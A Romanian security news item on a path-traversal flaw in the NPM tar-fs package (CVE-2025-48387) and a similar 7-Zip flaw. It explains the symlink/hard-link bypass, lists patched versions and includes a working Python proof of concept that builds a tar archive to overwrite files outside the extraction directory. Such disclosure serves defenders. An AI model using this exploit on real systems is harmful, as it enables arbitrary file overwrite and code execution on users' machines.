Pachetul NPM tar-fs a fost descoperit cu o vulnerabilitate (CVE-2025-48387), care permite, la dezarhivarea unui tar-archiv special conceput, scrierea de fișiere în orice parte a sistemului de fișiere, fără a fi restricționată la directorul în care se desfășoară dezarhivarea (în funcție de permisiunile utilizatorului curent). Vulnerabilitatea poate fi, de asemenea, utilizată pentru a suprascrie fișiere existente, de exemplu, pentru a permite executarea unui cod al său în sistem, fișierele „.ssh/id_rsa” sau „.bashrc” din directorul home al utilizatorului pot fi rescrise.
Problemei i s-a atribuit un nivel critic de pericol, având în vedere că pachetul tar-fs are 23 de milioane de descărcări pe săptămână și este utilizat ca dependență în 1155 de proiecte. Vulnerabilitatea a fost corectată în versiunile 3.0.9, 2.1.3 și 1.16.5, care au fost lansate în luna mai, dar informațiile despre vulnerabilitate au fost dezvăluite abia după aproape 3 luni.
Vulnerabilitatea este cauzată de verificări insuficiente ale legăturilor simbolice și dure din arhivă pentru a determina dacă ies din limitele directorului țintă pentru dezarhivare. Pentru a ocoli verificările sunt utilizate două legături simbolice: prima indică către directorul rădăcină al dezarhivării arhivei („.”), iar a doua este creată în raport cu prima legătură simbolică și utilizează în nume caracterele „../” pentru a ieși din baza directorului. De exemplu, prima legătură „noop/noop/noop” indică către „.”, iar a doua „noop/noop/noop/../../../..” se dezvăluie ca „./../../../..”. Pentru a permite suprascrierea fișierelor din arhivă, poate fi creată o legătură dură, referindu-se la un fișier extern în raport cu a doua legătură simbolică. import tarfile import io with tarfile.open("poc.tar", mode="x") as tar: root = tarfile.TarInfo("root") root.linkname = ("noop/" * 15) + ("../" * 15) root.type = tarfile.SYMTYPE tar.addfile(root) noop = tarfile.TarInfo("noop") noop.linkname = "." noop.type = tarfile.SYMTYPE tar.addfile(noop) hard = tarfile.TarInfo("hardflag") hard.linkname = "root/home/username/flag/flag" hard.type = tarfile.LNKTYPE tar.addfile(hard) content = b"overwrite\n" overwrite = tarfile.TarInfo("hardflag") overwrite.size = len(content) overwrite.type = tarfile.REGTYPE tar.addfile(overwrite, fileobj=io.BytesIO(content)) content = b"new!\n" newfile = tarfile.TarInfo("root/home/username/flag/newfile") newfile.size = len(content) newfile.type = tarfile.REGTYPE tar.addfile(newfile, fileobj=io.BytesIO(content))
O vulnerabilitate similară (CVE-2025-55188) a fost identificată în arhiverul 7-Zip. Simbolurile de legătură care conțin secvența „.. /” în calea fișierului pot fi, de asemenea, utilizate pentru a scrie fișiere în afara directorului de bază în 7-Zip. Problema poate fi exploatată la dezarhivarea oricărui arhiv, care suportă simbolurile de legătură, utilizând 7-Zip, de exemplu, zip, tar, 7z și rar. Problema a fost rezolvată în versiunea 7-Zip 25.01.
Sursa: opennet.ro
